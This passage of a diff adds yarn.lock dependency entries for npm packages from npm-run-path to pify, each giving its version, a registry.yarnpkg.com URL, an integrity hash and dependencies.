+ resolved "https://registry.yarnpkg.com/npm-run-path/-/npm-run-path-2.0.2.tgz#35a9232dfa35d7067b4cb2ddf2357b1871536c5f"
+ integrity sha1-NakjLfo11wZ7TLLd8jV7GHFTbF8=
+ dependencies:
+ path-key "^2.0.0"
+
+"npmlog@0 || 1 || 2 || 3 || 4", npmlog@^4.0.0, npmlog@^4.1.2:
+ version "4.1.2"
+ resolved "https://registry.yarnpkg.com/npmlog/-/npmlog-4.1.2.tgz#08a7f2a8bf734604779a9efa4ad5cc717abb954b"
+ integrity sha512-2uUqazuKlTaSI/dC8AzicUck7+IrEaOnN/e0jd3Xtt1KcGpwx30v50mL7oPyr/h9bL3E4aZccVwpwP+5W9Vjkg==
+ dependencies:
+ are-we-there-yet "~1.1.2"
+ console-control-strings "~1.1.0"
+ gauge "~2.7.3"
+ set-blocking "~2.0.0"
+
+nth-check@^1.0.2:
+ version "1.0.2"
+ resolved "https://registry.yarnpkg.com/nth-check/-/nth-check-1.0.2.tgz#b2bd295c37e3dd58a3bf0700376663ba4d9cf05c"
+ integrity sha512-WeBOdju8SnzPN5vTUJYxYUxLeXpCaVP5i5e0LF8fg7WORF2Wd7wFX/pk0tYZk7s8T+J7VLy0Da6J1+wCT0AtHg==
+ dependencies:
+ boolbase "~1.0.0"
+
+num2fraction@^1.2.2:
+ version "1.2.2"
+ resolved "https://registry.yarnpkg.com/num2fraction/-/num2fraction-1.2.2.tgz#6f682b6a027a4e9ddfa4564cd2589d1d4e669ede"
+ integrity sha1-b2gragJ6Tp3fpFZM0lidHU5mnt4=
+
+number-is-nan@^1.0.0:
+ version "1.0.1"
+ resolved "https://registry.yarnpkg.com/number-is-nan/-/number-is-nan-1.0.1.tgz#097b602b53422a522c1afb8790318336941a011d"
+ integrity sha1-CXtgK1NCKlIsGvuHkDGDNpQaAR0=
+
+oauth-sign@~0.9.0:
+ version "0.9.0"
+ resolved "https://registry.yarnpkg.com/oauth-sign/-/oauth-sign-0.9.0.tgz#47a7b016baa68b5fa0ecf3dee08a85c679ac6455"
+ integrity sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==
+
+object-assign@^4.0.1, object-assign@^4.1.0, object-assign@^4.1.1:
+ version "4.1.1"
+ resolved "https://registry.yarnpkg.com/object-assign/-/object-assign-4.1.1.tgz#2109adc7965887cfc05cbbd442cac8bfbb360863"
+ integrity sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=
+
+object-copy@^0.1.0:
+ version "0.1.0"
+ resolved "https://registry.yarnpkg.com/object-copy/-/object-copy-0.1.0.tgz#7e7d858b781bd7c991a41ba975ed3812754e998c"
+ integrity sha1-fn2Fi3gb18mRpBupde04EnVOmYw=
+ dependencies:
+ copy-descriptor "^0.1.0"
+ define-property "^0.2.5"
+ kind-of "^3.0.3"
+
+object-hash@^1.3.1:
+ version "1.3.1"
+ resolved "https://registry.yarnpkg.com/object-hash/-/object-hash-1.3.1.tgz#fde452098a951cb145f039bb7d455449ddc126df"
+ integrity sha512-OSuu/pU4ENM9kmREg0BdNrUDIl1heYa4mBZacJc+vVWz4GtAwu7jO8s4AIt2aGRUTqxykpWzI3Oqnsm13tTMDA==
+
+object-inspect@^1.10.3, object-inspect@^1.9.0:
+ version "1.10.3"
+ resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.10.3.tgz#c2aa7d2d09f50c99375704f7a0adf24c5782d369"
+ integrity sha512-e5mCJlSH7poANfC8z8S9s9S2IN5/4Zb3aZ33f5s8YqoazCFzNLloLU8r5VCG+G7WoqLvAAZoVMcy3tp/3X0Plw==
+
+object-keys@^1.0.12, object-keys@^1.1.1:
+ version "1.1.1"
+ resolved "https://registry.yarnpkg.com/object-keys/-/object-keys-1.1.1.tgz#1c47f272df277f3b1daf061677d9c82e2322c60e"
+ integrity sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==
+
+object-visit@^1.0.0:
+ version "1.0.1"
+ resolved "https://registry.yarnpkg.com/object-visit/-/object-visit-1.0.1.tgz#f79c4493af0c5377b59fe39d395e41042dd045bb"
+ integrity sha1-95xEk68MU3e1n+OdOV5BBC3QRbs=
+ dependencies:
+ isobject "^3.0.0"
+
+object.assign@^4.1.0, object.assign@^4.1.2:
+ version "4.1.2"
+ resolved "https://registry.yarnpkg.com/object.assign/-/object.assign-4.1.2.tgz#0ed54a342eceb37b38ff76eb831a0e788cb63940"
+ integrity sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==
+ dependencies:
+ call-bind "^1.0.0"
+ define-properties "^1.1.3"
+ has-symbols "^1.0.1"
+ object-keys "^1.1.1"
+
+object.entries@^1.1.0:
+ version "1.1.4"
+ resolved "https://registry.yarnpkg.com/object.entries/-/object.entries-1.1.4.tgz#43ccf9a50bc5fd5b649d45ab1a579f24e088cafd"
+ integrity sha512-h4LWKWE+wKQGhtMjZEBud7uLGhqyLwj8fpHOarZhD2uY3C9cRtk57VQ89ke3moByLXMedqs3XCHzyb4AmA2DjA==
+ dependencies:
+ call-bind "^1.0.2"
+ define-properties "^1.1.3"
+ es-abstract "^1.18.2"
+
+"object.fromentries@^2.0.0 || ^1.0.0":
+ version "2.0.4"
+ resolved "https://registry.yarnpkg.com/object.fromentries/-/object.fromentries-2.0.4.tgz#26e1ba5c4571c5c6f0890cef4473066456a120b8"
+ integrity sha512-EsFBshs5RUUpQEY1D4q/m59kMfz4YJvxuNCJcv/jWwOJr34EaVnG11ZrZa0UHB3wnzV1wx8m58T4hQL8IuNXlQ==
+ dependencies:
+ call-bind "^1.0.2"
+ define-properties "^1.1.3"
+ es-abstract "^1.18.0-next.2"
+ has "^1.0.3"
+
+object.getownpropertydescriptors@^2.0.3, object.getownpropertydescriptors@^2.1.2:
+ version "2.1.2"
+ resolved "https://registry.yarnpkg.com/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.1.2.tgz#1bd63aeacf0d5d2d2f31b5e393b03a7c601a23f7"
+ integrity sha512-WtxeKSzfBjlzL+F9b7M7hewDzMwy+C8NRssHd1YrNlzHzIDrXcXiNOMrezdAEM4UXixgV+vvnyBeN7Rygl2ttQ==
+ dependencies:
+ call-bind "^1.0.2"
+ define-properties "^1.1.3"
+ es-abstract "^1.18.0-next.2"
+
+object.pick@^1.3.0:
+ version "1.3.0"
+ resolved "https://registry.yarnpkg.com/object.pick/-/object.pick-1.3.0.tgz#87a10ac4c1694bd2e1cbf53591a66141fb5dd747"
+ integrity sha1-h6EKxMFpS9Lhy/U1kaZhQftd10c=
+ dependencies:
+ isobject "^3.0.1"
+
+object.values@^1.1.0:
+ version "1.1.4"
+ resolved "https://registry.yarnpkg.com/object.values/-/object.values-1.1.4.tgz#0d273762833e816b693a637d30073e7051535b30"
+ integrity sha512-TnGo7j4XSnKQoK3MfvkzqKCi0nVe/D9I9IjwTNYdb/fxYHpjrluHVOgw0AF6jrRFGMPHdfuidR09tIDiIvnaSg==
+ dependencies:
+ call-bind "^1.0.2"
+ define-properties "^1.1.3"
+ es-abstract "^1.18.2"
+
+on-finished@~2.3.0:
+ version "2.3.0"
+ resolved "https://registry.yarnpkg.com/on-finished/-/on-finished-2.3.0.tgz#20f1336481b083cd75337992a16971aa2d906947"
+ integrity sha1-IPEzZIGwg811M3mSoWlxqi2QaUc=
+ dependencies:
+ ee-first "1.1.1"
+
+once@^1.3.0, once@^1.3.1, once@^1.4.0:
+ version "1.4.0"
+ resolved "https://registry.yarnpkg.com/once/-/once-1.4.0.tgz#583b1aa775961d4b113ac17d9c50baef9dd76bd1"
+ integrity sha1-WDsap3WWHUsROsF9nFC6753Xa9E=
+ dependencies:
+ wrappy "1"
+
+open@^7.0.2, open@^7.0.3:
+ version "7.4.2"
+ resolved "https://registry.yarnpkg.com/open/-/open-7.4.2.tgz#b8147e26dcf3e426316c730089fd71edd29c2321"
+ integrity sha512-MVHddDVweXZF3awtlAS+6pgKLlm/JgxZ90+/NBurBoQctVOOB/zDdVjcyPzQ+0laDGbsWgrRkflI65sQeOgT9Q==
+ dependencies:
+ is-docker "^2.0.0"
+ is-wsl "^2.1.1"
+
+optionator@^0.8.1:
+ version "0.8.3"
+ resolved "https://registry.yarnpkg.com/optionator/-/optionator-0.8.3.tgz#84fa1d036fe9d3c7e21d99884b601167ec8fb495"
+ integrity sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==
+ dependencies:
+ deep-is "~0.1.3"
+ fast-levenshtein "~2.0.6"
+ levn "~0.3.0"
+ prelude-ls "~1.1.2"
+ type-check "~0.3.2"
+ word-wrap "~1.2.3"
+
+os-browserify@^0.3.0:
+ version "0.3.0"
+ resolved "https://registry.yarnpkg.com/os-browserify/-/os-browserify-0.3.0.tgz#854373c7f5c2315914fc9bfc6bd8238fdda1ec27"
+ integrity sha1-hUNzx/XCMVkU/Jv8a9gjj92h7Cc=
+
+os-homedir@^1.0.0:
+ version "1.0.2"
+ resolved "https://registry.yarnpkg.com/os-homedir/-/os-homedir-1.0.2.tgz#ffbc4988336e0e833de0c168c7ef152121aa7fb3"
+ integrity sha1-/7xJiDNuDoM94MFox+8VISGqf7M=
+
+os-tmpdir@^1.0.0:
+ version "1.0.2"
+ resolved "https://registry.yarnpkg.com/os-tmpdir/-/os-tmpdir-1.0.2.tgz#bbe67406c79aa85c5cfec766fe5734555dfa1274"
+ integrity sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=
+
+osenv@0:
+ version "0.1.5"
+ resolved "https://registry.yarnpkg.com/osenv/-/osenv-0.1.5.tgz#85cdfafaeb28e8677f416e287592b5f3f49ea410"
+ integrity sha512-0CWcCECdMVc2Rw3U5w9ZjqX6ga6ubk1xDVKxtBQPK7wis/0F2r9T6k4ydGYhecl7YUBxBVxhL5oisPsNxAPe2g==
+ dependencies:
+ os-homedir "^1.0.0"
+ os-tmpdir "^1.0.0"
+
+overlayscrollbars@^1.13.1:
+ version "1.13.1"
+ resolved "https://registry.yarnpkg.com/overlayscrollbars/-/overlayscrollbars-1.13.1.tgz#0b840a88737f43a946b9d87875a2f9e421d0338a"
+ integrity sha512-gIQfzgGgu1wy80EB4/6DaJGHMEGmizq27xHIESrzXq0Y/J0Ay1P3DWk6tuVmEPIZH15zaBlxeEJOqdJKmowHCQ==
+
+p-all@^2.1.0:
+ version "2.1.0"
+ resolved "https://registry.yarnpkg.com/p-all/-/p-all-2.1.0.tgz#91419be56b7dee8fe4c5db875d55e0da084244a0"
+ integrity sha512-HbZxz5FONzz/z2gJfk6bFca0BCiSRF8jU3yCsWOen/vR6lZjfPOu/e7L3uFzTW1i0H8TlC3vqQstEJPQL4/uLA==
+ dependencies:
+ p-map "^2.0.0"
+
+p-event@^4.1.0:
+ version "4.2.0"
+ resolved "https://registry.yarnpkg.com/p-event/-/p-event-4.2.0.tgz#af4b049c8acd91ae81083ebd1e6f5cae2044c1b5"
+ integrity sha512-KXatOjCRXXkSePPb1Nbi0p0m+gQAwdlbhi4wQKJPI1HsMQS9g+Sqp2o+QHziPr7eYJyOZet836KoHEVM1mwOrQ==
+ dependencies:
+ p-timeout "^3.1.0"
+
+p-filter@^2.1.0:
+ version "2.1.0"
+ resolved "https://registry.yarnpkg.com/p-filter/-/p-filter-2.1.0.tgz#1b1472562ae7a0f742f0f3d3d3718ea66ff9c09c"
+ integrity sha512-ZBxxZ5sL2HghephhpGAQdoskxplTwr7ICaehZwLIlfL6acuVgZPm8yBNuRAFBGEqtD/hmUeq9eqLg2ys9Xr/yw==
+ dependencies:
+ p-map "^2.0.0"
+
+p-finally@^1.0.0:
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/p-finally/-/p-finally-1.0.0.tgz#3fbcfb15b899a44123b34b6dcc18b724336a2cae"
+ integrity sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4=
+
+p-limit@^2.0.0, p-limit@^2.2.0:
+ version "2.3.0"
+ resolved "https://registry.yarnpkg.com/p-limit/-/p-limit-2.3.0.tgz#3dd33c647a214fdfffd835933eb086da0dc21db1"
+ integrity sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==
+ dependencies:
+ p-try "^2.0.0"
+
+p-limit@^3.0.2:
+ version "3.1.0"
+ resolved "https://registry.yarnpkg.com/p-limit/-/p-limit-3.1.0.tgz#e1daccbe78d0d1388ca18c64fea38e3e57e3706b"
+ integrity sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==
+ dependencies:
+ yocto-queue "^0.1.0"
+
+p-locate@^3.0.0:
+ version "3.0.0"
+ resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-3.0.0.tgz#322d69a05c0264b25997d9f40cd8a891ab0064a4"
+ integrity sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==
+ dependencies:
+ p-limit "^2.0.0"
+
+p-locate@^4.1.0:
+ version "4.1.0"
+ resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-4.1.0.tgz#a3428bb7088b3a60292f66919278b7c297ad4f07"
+ integrity sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==
+ dependencies:
+ p-limit "^2.2.0"
+
+p-locate@^5.0.0:
+ version "5.0.0"
+ resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-5.0.0.tgz#83c8315c6785005e3bd021839411c9e110e6d834"
+ integrity sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==
+ dependencies:
+ p-limit "^3.0.2"
+
+p-map@^2.0.0:
+ version "2.1.0"
+ resolved "https://registry.yarnpkg.com/p-map/-/p-map-2.1.0.tgz#310928feef9c9ecc65b68b17693018a665cea175"
+ integrity sha512-y3b8Kpd8OAN444hxfBbFfj1FY/RjtTd8tzYwhUqNYXx0fXx2iX4maP4Qr6qhIKbQXI02wTLAda4fYUbDagTUFw==
+
+p-map@^3.0.0:
+ version "3.0.0"
+ resolved "https://registry.yarnpkg.com/p-map/-/p-map-3.0.0.tgz#d704d9af8a2ba684e2600d9a215983d4141a979d"
+ integrity sha512-d3qXVTF/s+W+CdJ5A29wywV2n8CQQYahlgz2bFiA+4eVNJbHJodPZ+/gXwPGh0bOqA+j8S+6+ckmvLGPk1QpxQ==
+ dependencies:
+ aggregate-error "^3.0.0"
+
+p-map@^4.0.0:
+ version "4.0.0"
+ resolved "https://registry.yarnpkg.com/p-map/-/p-map-4.0.0.tgz#bb2f95a5eda2ec168ec9274e06a747c3e2904d2b"
+ integrity sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==
+ dependencies:
+ aggregate-error "^3.0.0"
+
+p-timeout@^3.1.0:
+ version "3.2.0"
+ resolved "https://registry.yarnpkg.com/p-timeout/-/p-timeout-3.2.0.tgz#c7e17abc971d2a7962ef83626b35d635acf23dfe"
+ integrity sha512-rhIwUycgwwKcP9yTOOFK/AKsAopjjCakVqLHePO3CC6Mir1Z99xT+R63jZxAT5lFZLa2inS5h+ZS2GvR99/FBg==
+ dependencies:
+ p-finally "^1.0.0"
+
+p-try@^2.0.0:
+ version "2.2.0"
+ resolved "https://registry.yarnpkg.com/p-try/-/p-try-2.2.0.tgz#cb2868540e313d61de58fafbe35ce9004d5540e6"
+ integrity sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==
+
+pako@~1.0.5:
+ version "1.0.11"
+ resolved "https://registry.yarnpkg.com/pako/-/pako-1.0.11.tgz#6c9599d340d54dfd3946380252a35705a6b992bf"
+ integrity sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==
+
+parallel-transform@^1.1.0:
+ version "1.2.0"
+ resolved "https://registry.yarnpkg.com/parallel-transform/-/parallel-transform-1.2.0.tgz#9049ca37d6cb2182c3b1d2c720be94d14a5814fc"
+ integrity sha512-P2vSmIu38uIlvdcU7fDkyrxj33gTUy/ABO5ZUbGowxNCopBq/OoD42bP4UmMrJoPyk4Uqf0mu3mtWBhHCZD8yg==
+ dependencies:
+ cyclist "^1.0.1"
+ inherits "^2.0.3"
+ readable-stream "^2.1.5"
+
+param-case@^2.1.0:
+ version "2.1.1"
+ resolved "https://registry.yarnpkg.com/param-case/-/param-case-2.1.1.tgz#df94fd8cf6531ecf75e6bef9a0858fbc72be2247"
+ integrity sha1-35T9jPZTHs915r75oIWPvHK+Ikc=
+ dependencies:
+ no-case "^2.2.0"
+
+param-case@^3.0.3:
+ version "3.0.4"
+ resolved "https://registry.yarnpkg.com/param-case/-/param-case-3.0.4.tgz#7d17fe4aa12bde34d4a77d91acfb6219caad01c5"
+ integrity sha512-RXlj7zCYokReqWpOPH9oYivUzLYZ5vAPIfEmCTNViosC78F8F0H9y7T7gG2M39ymgutxF5gcFEsyZQSph9Bp3A==
+ dependencies:
+ dot-case "^3.0.4"
+ tslib "^2.0.3"
+
+parent-module@^1.0.0:
+ version "1.0.1"
+ resolved "https://registry.yarnpkg.com/parent-module/-/parent-module-1.0.1.tgz#691d2709e78c79fae3a156622452d00762caaaa2"
+ integrity sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==
+ dependencies:
+ callsites "^3.0.0"
+
+parse-asn1@^5.0.0, parse-asn1@^5.1.5:
+ version "5.1.6"
+ resolved "https://registry.yarnpkg.com/parse-asn1/-/parse-asn1-5.1.6.tgz#385080a3ec13cb62a62d39409cb3e88844cdaed4"
+ integrity sha512-RnZRo1EPU6JBnra2vGHj0yhp6ebyjBZpmUCLHWiFhxlzvBCCpAuZ7elsBp1PVAbQN0/04VD/19rfzlBSwLstMw==
+ dependencies:
+ asn1.js "^5.2.0"
+ browserify-aes "^1.0.0"
+ evp_bytestokey "^1.0.0"
+ pbkdf2 "^3.0.3"
+ safe-buffer "^5.1.1"
+
+parse-entities@^2.0.0:
+ version "2.0.0"
+ resolved "https://registry.yarnpkg.com/parse-entities/-/parse-entities-2.0.0.tgz#53c6eb5b9314a1f4ec99fa0fdf7ce01ecda0cbe8"
+ integrity sha512-kkywGpCcRYhqQIchaWqZ875wzpS/bMKhz5HnN3p7wveJTkTtyAB/AlnS0f8DFSqYW1T82t6yEAkEcB+A1I3MbQ==
+ dependencies:
+ character-entities "^1.0.0"
+ character-entities-legacy "^1.0.0"
+ character-reference-invalid "^1.0.0"
+ is-alphanumerical "^1.0.0"
+ is-decimal "^1.0.0"
+ is-hexadecimal "^1.0.0"
+
+parse-json@^2.2.0:
+ version "2.2.0"
+ resolved "https://registry.yarnpkg.com/parse-json/-/parse-json-2.2.0.tgz#f480f40434ef80741f8469099f8dea18f55a4dc9"
+ integrity sha1-9ID0BDTvgHQfhGkJn43qGPVaTck=
+ dependencies:
+ error-ex "^1.2.0"
+
+parse-json@^4.0.0:
+ version "4.0.0"
+ resolved "https://registry.yarnpkg.com/parse-json/-/parse-json-4.0.0.tgz#be35f5425be1f7f6c747184f98a788cb99477ee0"
+ integrity sha1-vjX1Qlvh9/bHRxhPmKeIy5lHfuA=
+ dependencies:
+ error-ex "^1.3.1"
+ json-parse-better-errors "^1.0.1"
+
+parse-json@^5.0.0:
+ version "5.2.0"
+ resolved "https://registry.yarnpkg.com/parse-json/-/parse-json-5.2.0.tgz#c76fc66dee54231c962b22bcc8a72cf2f99753cd"
+ integrity sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==
+ dependencies:
+ "@babel/code-frame" "^7.0.0"
+ error-ex "^1.3.1"
+ json-parse-even-better-errors "^2.3.0"
+ lines-and-columns "^1.1.6"
+
+parse-passwd@^1.0.0:
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/parse-passwd/-/parse-passwd-1.0.0.tgz#6d5b934a456993b23d37f40a382d6f1666a8e5c6"
+ integrity sha1-bVuTSkVpk7I9N/QKOC1vFmao5cY=
+
+parse5@^6.0.0:
+ version "6.0.1"
+ resolved "https://registry.yarnpkg.com/parse5/-/parse5-6.0.1.tgz#e1a1c085c569b3dc08321184f19a39cc27f7c30b"
+ integrity sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw==
+
+parseurl@~1.3.2, parseurl@~1.3.3:
+ version "1.3.3"
+ resolved "https://registry.yarnpkg.com/parseurl/-/parseurl-1.3.3.tgz#9da19e7bee8d12dff0513ed5b76957793bc2e8d4"
+ integrity sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==
+
+pascal-case@^2.0.0:
+ version "2.0.1"
+ resolved "https://registry.yarnpkg.com/pascal-case/-/pascal-case-2.0.1.tgz#2d578d3455f660da65eca18ef95b4e0de912761e"
+ integrity sha1-LVeNNFX2YNpl7KGO+VtODekSdh4=
+ dependencies:
+ camel-case "^3.0.0"
+ upper-case-first "^1.1.0"
+
+pascal-case@^3.1.2:
+ version "3.1.2"
+ resolved "https://registry.yarnpkg.com/pascal-case/-/pascal-case-3.1.2.tgz#b48e0ef2b98e205e7c1dae747d0b1508237660eb"
+ integrity sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g==
+ dependencies:
+ no-case "^3.0.4"
+ tslib "^2.0.3"
+
+pascalcase@^0.1.1:
+ version "0.1.1"
+ resolved "https://registry.yarnpkg.com/pascalcase/-/pascalcase-0.1.1.tgz#b363e55e8006ca6fe21784d2db22bd15d7917f14"
+ integrity sha1-s2PlXoAGym/iF4TS2yK9FdeRfxQ=
+
+path-browserify@0.0.1:
+ version "0.0.1"
+ resolved "https://registry.yarnpkg.com/path-browserify/-/path-browserify-0.0.1.tgz#e6c4ddd7ed3aa27c68a20cc4e50e1a4ee83bbc4a"
+ integrity sha512-BapA40NHICOS+USX9SN4tyhq+A2RrN/Ws5F0Z5aMHDp98Fl86lX8Oti8B7uN93L4Ifv4fHOEA+pQw87gmMO/lQ==
+
+path-case@^2.1.0:
+ version "2.1.1"
+ resolved "https://registry.yarnpkg.com/path-case/-/path-case-2.1.1.tgz#94b8037c372d3fe2906e465bb45e25d226e8eea5"
+ integrity sha1-lLgDfDctP+KQbkZbtF4l0ibo7qU=
+ dependencies:
+ no-case "^2.2.0"
+
+path-dirname@^1.0.0:
+ version "1.0.2"
+ resolved "https://registry.yarnpkg.com/path-dirname/-/path-dirname-1.0.2.tgz#cc33d24d525e099a5388c0336c6e32b9160609e0"
+ integrity sha1-zDPSTVJeCZpTiMAzbG4yuRYGCeA=
+
+path-exists@^2.0.0:
+ version "2.1.0"
+ resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-2.1.0.tgz#0feb6c64f0fc518d9a754dd5efb62c7022761f4b"
+ integrity sha1-D+tsZPD8UY2adU3V77YscCJ2H0s=
+ dependencies:
+ pinkie-promise "^2.0.0"
+
+path-exists@^3.0.0:
+ version "3.0.0"
+ resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-3.0.0.tgz#ce0ebeaa5f78cb18925ea7d810d7b59b010fd515"
+ integrity sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=
+
+path-exists@^4.0.0:
+ version "4.0.0"
+ resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-4.0.0.tgz#513bdbe2d3b95d7762e8c1137efa195c6c61b5b3"
+ integrity sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==
+
+path-is-absolute@^1.0.0:
+ version "1.0.1"
+ resolved "https://registry.yarnpkg.com/path-is-absolute/-/path-is-absolute-1.0.1.tgz#174b9268735534ffbc7ace6bf53a5a9e1b5c5f5f"
+ integrity sha1-F0uSaHNVNP+8es5r9TpanhtcX18=
+
+path-key@^2.0.0, path-key@^2.0.1:
+ version "2.0.1"
+ resolved "https://registry.yarnpkg.com/path-key/-/path-key-2.0.1.tgz#411cadb574c5a140d3a4b1910d40d80cc9f40b40"
+ integrity sha1-QRyttXTFoUDTpLGRDUDYDMn0C0A=
+
+path-key@^3.1.0:
+ version "3.1.1"
+ resolved "https://registry.yarnpkg.com/path-key/-/path-key-3.1.1.tgz#581f6ade658cbba65a0d3380de7753295054f375"
+ integrity sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==
+
+path-parse@^1.0.6:
+ version "1.0.7"
+ resolved "https://registry.yarnpkg.com/path-parse/-/path-parse-1.0.7.tgz#fbc114b60ca42b30d9daf5858e4bd68bbedb6735"
+ integrity sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==
+
+path-to-regexp@0.1.7:
+ version "0.1.7"
+ resolved "https://registry.yarnpkg.com/path-to-regexp/-/path-to-regexp-0.1.7.tgz#df604178005f522f15eb4490e7247a1bfaa67f8c"
+ integrity sha1-32BBeABfUi8V60SQ5yR6G/qmf4w=
+
+path-type@^1.0.0:
+ version "1.1.0"
+ resolved "https://registry.yarnpkg.com/path-type/-/path-type-1.1.0.tgz#59c44f7ee491da704da415da5a4070ba4f8fe441"
+ integrity sha1-WcRPfuSR2nBNpBXaWkBwuk+P5EE=
+ dependencies:
+ graceful-fs "^4.1.2"
+ pify "^2.0.0"
+ pinkie-promise "^2.0.0"
+
+path-type@^3.0.0:
+ version "3.0.0"
+ resolved "https://registry.yarnpkg.com/path-type/-/path-type-3.0.0.tgz#cef31dc8e0a1a3bb0d105c0cd97cf3bf47f4e36f"
+ integrity sha512-T2ZUsdZFHgA3u4e5PfPbjd7HDDpxPnQb5jN0SrDsjNSuVXHJqtwTnWqG0B1jZrgmJ/7lj1EmVIByWt1gxGkWvg==
+ dependencies:
+ pify "^3.0.0"
+
+path-type@^4.0.0:
+ version "4.0.0"
+ resolved "https://registry.yarnpkg.com/path-type/-/path-type-4.0.0.tgz#84ed01c0a7ba380afe09d90a8c180dcd9d03043b"
+ integrity sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==
+
+pbkdf2@^3.0.3:
+ version "3.1.2"
+ resolved "https://registry.yarnpkg.com/pbkdf2/-/pbkdf2-3.1.2.tgz#dd822aa0887580e52f1a039dc3eda108efae3075"
+ integrity sha512-iuh7L6jA7JEGu2WxDwtQP1ddOpaJNC4KlDEFfdQajSGgGPNi4OyDc2R7QnbY2bR9QjBVGwgvTdNJZoE7RaxUMA==
+ dependencies:
+ create-hash "^1.1.2"
+ create-hmac "^1.1.4"
+ ripemd160 "^2.0.1"
+ safe-buffer "^5.0.1"
+ sha.js "^2.4.8"
+
+performance-now@^2.1.0:
+ version "2.1.0"
+ resolved "https://registry.yarnpkg.com/performance-now/-/performance-now-2.1.0.tgz#6309f4e0e5fa913ec1c69307ae364b4b377c9e7b"
+ integrity sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=
+
+picomatch@^2.0.4, picomatch@^2.2.1, picomatch@^2.2.3:
+ version "2.3.0"
+ resolved "https://registry.yarnpkg.com/picomatch/-/picomatch-2.3.0.tgz#f1f061de8f6a4bf022892e2d128234fb98302972"
+ integrity sha512-lY1Q/PiJGC2zOv/z391WOTD+Z02bCgsFfvxoXXf6h7kv9o+WmsmzYqrAwY63sNgOxE4xEdq0WyUnXfKeBrSvYw==
+
+pify@^2.0.0:
+ version "2.3.0"
+ resolved "https://registry.yarnpkg.com/pify/-/pify-2.3.0.tgz#ed141a6ac043a849ea588498e7dca8b15330e90c"
+ integrity sha1-7RQaasBDqEnqWISY59yosVMw6Qw=
+
+pify@^3.0.0:
+ version "3.0.0"
+ resolved "https://registry.yarnpkg.com/pify/-/pify-3.0.0.tgz#e5a4acd2c101fdf3d9a4d07f0dbc4db49dd28176"
+ integrity sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=
+
+pify@^4.0.1:
+ version "4.0.1"
+ resolved "https://registry.yarnpkg.com/pify/-/pify-4.0.1.tgz#4b2cd25c50d598735c50292224fd8c6df41e3231"
